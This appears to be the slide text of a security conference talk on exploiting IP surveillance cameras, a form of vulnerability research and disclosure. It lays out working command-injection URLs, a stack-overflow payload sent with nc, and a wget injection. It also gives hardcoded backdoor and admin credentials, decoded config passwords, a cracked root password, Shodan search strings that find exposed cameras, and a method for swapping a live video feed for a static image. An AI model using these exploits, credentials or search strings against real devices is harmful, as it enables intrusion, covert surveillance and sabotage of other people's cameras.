Exploiting Surveillance Cameras

Like a Hollywood Hacker

Craig Heffner, Tactical Network Solutions
Introduction

- Embedded vulnerability analyst for Tactical Network Solutions
- Embedded Device Exploitation course instructor
- I do wireless stuff from time to time too
Objectives

- Analyze surveillance camera security
- Drop some 0-days
- Demo a true Hollywood-style hack
Lighttpd Access Rules

```
"/cgi/admin/" =>
(
    "method" => "basic",
    "realm" => "$model",
    "require" => "user=$_AdminUser_ss"
),

"/video/" =>
(
    "method" => "basic",
    "realm" => "$model",
    "require" => "valid-user"
)
```
What Isn’t in the Access Rules?

---

```text
audio  cgiMain.sh  config
cgi     cht        dcscltctrl.cab
cgi-bin common     dev
```

```
total 1
-rwxr-xr-x 1 root root 963 1969-12-31 19:00 rtpd.cgi
```
#!/bin/sh

daemon=rtpd

script=/etc/init.d/$daemon.sh
conf=/etc/$daemon.conf
eval($QUERY_STRING)

* http://192.168.1.101/cgi-bin/rtpd.cgi?action=stop

```
$conf > /dev/null 2> /dev/null
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
```
I WILL EXECUTE ANYTHING

IN YOUR GET REQUEST
The Exploit (No, Seriously...)

* http://192.168.1.101/cgi-bin/rtpd.cgi?reboot
Grabing Admin Creds

* /cgi-bin/rtpd.cgi?echo&AdminPasswd_ss | tdb&get&HTTPAccount

AdminPasswd_ss="prk441889j"
Usage: rtpd.cgi?action=[start|stop|restart|status|get|set]&...
pwned.
Also Affected
Also Affected
Also Affected
Also Affected
Also Affected
Also Affected
Also Affected
Shodan Dork

Results 1 - 10 of about 68411 for dcs-lig-httpd
CVE-2013-1599

* Disclosed by Core Security after talk submission
WVC80N
/adm/ez.cgi

DCD aAdmcfg_cfg
DCD sub_9B88
DCD aSnapshot_cgi
DCD sub_AE64
DCD aMobile_cgi
DCD sub_AE5C

; "admcfg.cfg"
; "snapshot.cgi"
; "mobile.cgi"
`strcpy(dest, QUERY_STRING)`
STACK OVERFLOWS
THEY'RE KIND OF A BIG DEAL
sub_AC80

var_21C= -0x21C
tv= -0x218
s= -0x210
var_1CC= -0x1CC
var_1AC= -0x1AC
var_1A4= -0x1A4
var_118= -0x118
dest= -0x98

STMFD SP!, {R4-R8,LR}
Where to Return?

sub_9B88

var_550C= -0x550C

STMFD  SP!, {R4,R5,LR}
MOV    R4, #0x5556
MOV    R2, R4 ; n
MOV    R1, #0 ; c
SUB    SP, SP, #0x5500
SUB    SP, SP, #0x58
ADD    R5, SP, #0x5564+var_550C
SUB    R5, R5, #0x58
MOV    R0, R5 ; s
BL      memset
MOV    R1, R4
MOV    R0, R5
BL      down_config_file
PAYLOAD=$(perl -e 'print "A"x148; print "\x88\x9B"')

echo -ne "GET /img/snapshot.cgi?$PAYLOAD HTTP/1.0\r\n\r\n" | nc 192.168.1.100 80
When Base64 Isn’t Base64

```
eve@eve:~$ cat encoded.config | base64 -d
0`Y?bJ5eterangan rgoxeT=GfF
`O'Kq:>`m`S+`gogs`p`S+s`goeeVppm3w?`Pes$?n
"ts=8833, 'W??{`hge???w????s????$q?nd?/`w?qRmp? [W?

0-Z????d????,xm-??'i{ot????d????sW
W????py???p??w?q????{0$qb????so 0-????M?m????
```
### Base-64 Encoder/Decoder Sample Codes

```c
// Standard BASE64 table
// char keyStr[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
// SerComm BASE64 table
char keyStr[] = "ACEGIKMQSUWYBDFHJLNPRTVXZacegikmoquwybdfhjlnprtvxz0246813579=+/";

/*************************************************************************
// Description: Encrypt the input data with the base64
// Input:
// char i_buf[] - input buffer
// Output:
// char o_buf[] - output buffer
// Return:
// encrypted string length
/**************************************************************************/
int encode64(char i_buf[], char o_buf[])
{
```
Decoded Config

admin_name=admin
admin_password=11696626
wlan_essid=chupaca
wpa_ascii=grreatcoloroloc1873
Also Affected
Shodan Dorks

Results 1 - 10 of about 3701 for thttpd/2.25 content-length: 4121

Results 1 - 10 of about 4647 for thttpd/2.25 content-length: 4132
Cisco PVC-2300
.htpasswd Protection
cgi_get_value(var_18, “action”)

LDR R0, [R11,#var_18]
LDR R1, =aAction ; "action"
BL cgi_get_value
Valid Actions

- downloadConfigurationFile
- uploadConfigurationFile
- updateFirmware
- loadFirmware
- ...

Friday, July 12, 2013
getenv("SESSIONID")
`strcasecmp("login", action)`
cgi_get_value(var_10, "user")

LDR R0, [R11,#var_10]
LDR R1, =aUser ; "user"
BL cgi_get_value
MOV R3, R0
cgi_get_value(var_10, "password")

LDR R0, [R11,#var_10]
LDR R1, =aPassword ; "password"
cgi_get_value
PRO_GetStr("OAMP", "l1_usr", ...)

LDR R0, =aOamp
LDR R1, =aL1_usr
MOV R2, R3
MOV R3, #0x40
BL PRO_GetStr
PRO_GetStr("OAMP", "l1_pwd", ...)
strcmp(user, l1_usr)
`strcmp(password, l1_pwd)`
Where are l1_usr and l1_pwd?

```plaintext
[OAMP]
l1_usr=L1_admin
l1_pwd=L1_51
l1_oamp_mode=0
l1_gui_mode=0
```
MR POTATO HEAD

BACKDOORS AREN'T SECRETS
Getting a Session ID


HTTP/1.0 200 OK
Connection: close
Content-type: application/octet-stream
sessionID: 57592414
downloadConfigurationFile

When Base64 Isn’t Base64

eve@eve:~$ cat encoded.config | base64 -d
0`Y?bJ548499 rgoxeT=GfF
9OK?`m499+^gogs@p`48499+^goeeVppm399w??Pes$?n
"ts=8899, 'W??{Qhg??99w????s??s$q?nd?/99wqRmp? [W?
399}@z][8`'1Z?8
0-Z??d?,xm-591i{o1h$P89??d?isW
8d@SsW@p?p?z?=-99Wq?d{9q@q$qb9??s0 8-9940M?m999
Non-Standard Key String

EXPORT keyStr
DCB "ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+
 ; DATA XREF: encode64+1A8↑o
 ; encode64+1D8↑o ...
Decoded Config

```
[USER]
login_check=0
admin_timeout=2
admin_name=admin
admin_password=rochester21
viewer_name=demo
viewer_password=eetimes1299
user1=abcsales,aarad11
user2=
user3=
```
pwned.
action=loadFirmware

LDR R0, [R11,#var_10]
LDR R1, =aUrl ; "url"
BL cgi_get_value

LDR R0, =a_Oamp_loadfirm ; "./oamp_loadFirmware %s > /dev/null 2>&1"
MOV R1, R3
BL system2
SYSTEM

WAS A BAD CHOICE
pwned x2


64 bytes from 192.168.1.101: icmp_seq=33 ttl=64 time=0.036 ms
64 bytes from 192.168.1.101: icmp_seq=34 ttl=64 time=0.040 ms
64 bytes from 192.168.1.101: icmp_seq=35 ttl=64 time=0.037 ms
From 192.168.1.102 icmp_seq=37 Destination Host Unreachable
From 192.168.1.102 icmp_seq=38 Destination Host Unreachable
From 192.168.1.102 icmp_seq=39 Destination Host Unreachable
From 192.168.1.102 icmp_seq=40 Destination Host Unreachable
From 192.168.1.102 icmp_seq=41 Destination Host Unreachable
From 192.168.1.102 icmp_seq=42 Destination Host Unreachable
Also Affected
Shodan Dork

Results 1 - 10 of about 527 for lighttpd/1.4.13 ip camera
IQInvision IQ832N
Default Unauth Video Feed
Admin Area Password Protected

and password. The server says: priv.

User Name: 

Password: 

Cancel Log In
<table>
<thead>
<tr>
<th>OID</th>
<th>current value</th>
<th>default value</th>
<th>range</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.2.1</td>
<td>0.45</td>
<td>0.45</td>
<td>0.00..1.00</td>
<td>gamma setting</td>
</tr>
<tr>
<td>1.2.2</td>
<td>1</td>
<td>1</td>
<td></td>
<td>downsample factor (hard coded)</td>
</tr>
<tr>
<td>1.2.3</td>
<td>MEDIUM</td>
<td>medium</td>
<td>xlow, low, medium, high,</td>
<td>sharpen value</td>
</tr>
<tr>
<td>1.2.4</td>
<td></td>
<td></td>
<td></td>
<td>image flip setting (hard coded)</td>
</tr>
<tr>
<td>1.2.6.1</td>
<td>0</td>
<td>0</td>
<td></td>
<td>absolute top of crop window</td>
</tr>
<tr>
<td>1.2.6.2</td>
<td>1280</td>
<td>1600</td>
<td></td>
<td>absolute width of crop window</td>
</tr>
<tr>
<td>1.2.6.3</td>
<td>1024</td>
<td>1200</td>
<td></td>
<td>absolute height of crop window</td>
</tr>
<tr>
<td>1.2.6.4</td>
<td>0</td>
<td>0</td>
<td></td>
<td>absolute left of crop window</td>
</tr>
<tr>
<td>1.2.6.7</td>
<td>0</td>
<td>0</td>
<td></td>
<td>downsampled x of crop window</td>
</tr>
<tr>
<td>1.2.6.8</td>
<td>0</td>
<td>0</td>
<td></td>
<td>downsampled y of crop window</td>
</tr>
<tr>
<td>1.2.6.9</td>
<td>1280</td>
<td>1600</td>
<td></td>
<td>downsampled width of crop window</td>
</tr>
<tr>
<td>1.2.6.10</td>
<td>1024</td>
<td>1200</td>
<td></td>
<td>downsampled height of crop window</td>
</tr>
<tr>
<td>1.2.7</td>
<td>80</td>
<td>60</td>
<td>13.90</td>
<td>jpeg quality</td>
</tr>
<tr>
<td>1.2.8.6</td>
<td>enabled</td>
<td>enabled</td>
<td>enabled, disabled,</td>
<td>auto gain state</td>
</tr>
<tr>
<td>1.2.8.4</td>
<td>0.40</td>
<td>0.40</td>
<td>0.00..1.00</td>
<td>autogain target value</td>
</tr>
<tr>
<td>1.2.8.11</td>
<td>120</td>
<td>120</td>
<td>5..16000</td>
<td>target shutter speed</td>
</tr>
<tr>
<td>1.2.8.12</td>
<td>AUTO</td>
<td>auto</td>
<td>auto, force,</td>
<td>gain shutter algorithm</td>
</tr>
<tr>
<td>1.2.8.17</td>
<td>30</td>
<td>30</td>
<td>5..120</td>
<td>limit minimum shutter speed in hertz</td>
</tr>
<tr>
<td>1.2.8.24</td>
<td>30</td>
<td>5..120</td>
<td></td>
<td>current shutter speed (read only)</td>
</tr>
<tr>
<td>1.2.9.3</td>
<td></td>
<td></td>
<td></td>
<td>return all overlays to factory default (write only)</td>
</tr>
<tr>
<td>1.2.10</td>
<td>XLOW</td>
<td>medium</td>
<td>xlow, low, medium, high,</td>
<td>compression factor</td>
</tr>
<tr>
<td>1.2.12.1</td>
<td>60HZ</td>
<td>60hz</td>
<td>60hz, 50hz,</td>
<td>lighting frequency</td>
</tr>
</tbody>
</table>
`strstr(QUERY_STRING, \"grep=\")`
if(strlen(grep) < 32)
sprintf("grep -i '%s'...")
popen(“grep -i ‘%s’...”)
THIS IS GETTING
RE-GODDAMNED-DICULOUS
Command Injection

- http://192.168.1.101/oidtable.cgi?grep='$IFS/tmp/a;ps;'

- `grep -i '' /tmp/a;ps;' /tmp/oidtable.html`
Retrieving Arbitrary Files

- `grep -i ‘’ /etc/privpasswd;’’ /tmp/oidtable.html`
Encrypted Admin Password

```
<table BORDER WIDTH="100%">
<caption>OID Table</caption>
<thead><tr><th_OID</th><th>current value</th><th>description</th></tr></thead>
[root:F3jQ.Pn40zhK..0:0:root:/root:/bin/sh]
</table>
```

Friday, July 12, 2013
Decrypted Admin Password

eve@eve:~$ john --show passwd
root:system:0:0:root:/root:/bin/sh
1 password hash cracked, 0 left
pwned.
Also Affected
Shodan Dork

Results 1 - 10 of about 175 for iqhttpd -401
Restricted Firmware Download

Please enter the first name of your contact sales person.
MOST COMMON PASSWORDS:

LOVE, SEX AND...TAB=4???
Use the Source, Luke

```javascript
if ( pid == "" )
    location.reload();
else
    location.href = "prod_info.php?pid=" + pid + "&tab=4";
```
Download

N5072 HD Network Speed Dome Camera

N5072 Firmware

N5072 Firmware (10.71MB, 10.7MB, English, 2012.06.20-V1.01)

N5072 Release Notes

N5072 Release Notes (0.18MB, 189KB, English, 2012-06-20)

N5072 Data Sheet

N5072 Data Sheet (0.18MB, English, 2013.01.21-V1.0)
/home/3s/bin

BasicDevice
chat
chpasswd
ControlPoint
ddns
dhclient-script

httpd
ipcam
ipfinder
iptables
LinkLocalIP
mail

nvram
OrayDDNS
OSD.TTF
pciv_get
pciv_send
pppd
pwdgrp_get_userinfo

```
BL       b64_decode
ADD      R3, SP, #0x210+var_18
ADD      R0, R3, R0
STRB     R6, [R0, #-0x1F4]
MOV      R1, #0x3A            ; c
MOV      R0, R7              ; s
BL       strchr
MOV      R4, R0
STRB     R6, [R4],#1
LDR      R1, =a3sadmin       ; "3sadmin"
MOV      R0, R7              ; sl
BL       strcmp
CMP      R0, #0
LDR      R1, =a27988303      ; "27988303"
MOV      R0, R4              ; sl
BNE      loc_28874
```
JUST WHEN I THOUGHT YOU COULDN'T POSSIBLY BE ANY DUMBER

YOU GO AND DO SOMETHING LIKE THIS...
pwned.
pwned.
pwned.
do_records

DCD aRecords_cgi
DCD do_records
DCD 2

; "records.cgi"
records.cgi?action=remove

LDR R0, [SP,#0x4570+cgi_action_parameter]
LDR R1, =aRemove ; "remove"
BL strcasecmp
CMP R0, #0
```assembly
LDR R1, =aFilename_2 ; "&filename"
MOV R0, R8 ; haystack
BL strstr
```
system("rm /mnt.sd/media/%s")
pwned x2

$ wget \
--user=3sadmin --password=27988303 \n'http://192.168.1.101/records.cgi?action=remove&storage=sd&filename=`reboot`'

64 bytes from 192.168.1.101: icmp_seq=33 ttl=64 time=0.036 ms
64 bytes from 192.168.1.101: icmp_seq=34 ttl=64 time=0.040 ms
64 bytes from 192.168.1.101: icmp_seq=35 ttl=64 time=0.037 ms
From 192.168.1.102 icmp_seq=37 Destination Host Unreachable
From 192.168.1.102 icmp_seq=38 Destination Host Unreachable
From 192.168.1.102 icmp_seq=39 Destination Host Unreachable
From 192.168.1.102 icmp_seq=40 Destination Host Unreachable
From 192.168.1.102 icmp_seq=41 Destination Host Unreachable
From 192.168.1.102 icmp_seq=42 Destination Host Unreachable
Also Affected
Also Affected
Also Affected
Also Affected
Shodan Dorks

Results 1 - 10 of about 31 for vandal ir dome ip camera httpd

Results 1 - 10 of about 25 for ip video server -uc-httpd httpd

Results 1 - 10 of about 35 for mini dome ip camera httpd

Results 1 - 10 of about 56 for ip speed dome httpd

Results 1 - 10 of about 63 for cube ip camera httpd

Results 1 - 10 of about 18 for box ip camera httpd
So Basically...

- I’m in your network.
- I can see you.
- And I’m root.
Let’s Turn This...
...Into This.
Trendnet TV-IP410WN
Has a Backdoor Account

admin=Basic YWRtaW46YWRtaW4=
maker=Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl

productmaker:ftvsbannedcode
That Can Access These Files

```
eve@eve:~/Projects/firmware/tvip410wn/minix/server/cgi-bin/cgi/maker$ ls
finish.cgi  firmwareupgrade.cgi  ptcmd.cgi  ptctrl.cgi  unittest.cgi
```
Which Have Command Injection
That Can Be Trivially Exploited

- system("/sbin/ptctrl ;ls")
By Anyone, Anywhere

ptctrl [-v/h] -system=HVal
ptctrl [-v/h] -actpos
ptctrl [-v/h] -maxpos
ptctrl [-v/h] -minpos

//set system parameter
//get actually position
//get maximum position value
//get minimum position value
What’s Old is New Again

* Vulnerability first published in 2011
  * Report did not mention any specific devices
  * Everyone ignored it...
Shodan Dork

Results 1 - 10 of about 28394 for netcam
Admin’s Video Feed
```
mjpg.cgi

<table>
<thead>
<tr>
<th>PID</th>
<th>User</th>
<th>Status</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>379</td>
<td>root</td>
<td>684 S</td>
<td>mjjpg.cgi</td>
</tr>
<tr>
<td>380</td>
<td>root</td>
<td>1396 S</td>
<td>./camsvr</td>
</tr>
<tr>
<td>381</td>
<td>root</td>
<td>452 S</td>
<td>./httpd 80</td>
</tr>
</tbody>
</table>
```
Killing mjjpg.cgi

* http://192.168.1.101/cgi/maker/ptcmd.cgi?cmd=;kill$IFS-9$IFS379
Replacing mjpg.cgi

#!/bin/sh

echo -ne "HTTP/1.1 200 OK\r\nContent-Type: image/jpeg\r\n\r\n"
cat /tmp/static_img.jpg
Admin’s Video Feed
What’s Really Happening
Demo Time!
Closing Thoughts

* Lots more bugs where these came from

* Cameras reveal their model number in the login prompt

* All exploits developed exclusively from firmware update files

  * Binwalk + IDA + Qemu == WIN.
Contact

- cheffner@tacnetsol.com
- http://www.tacnetsol.com
- @devttys0
- http://www.devttys0.com/blog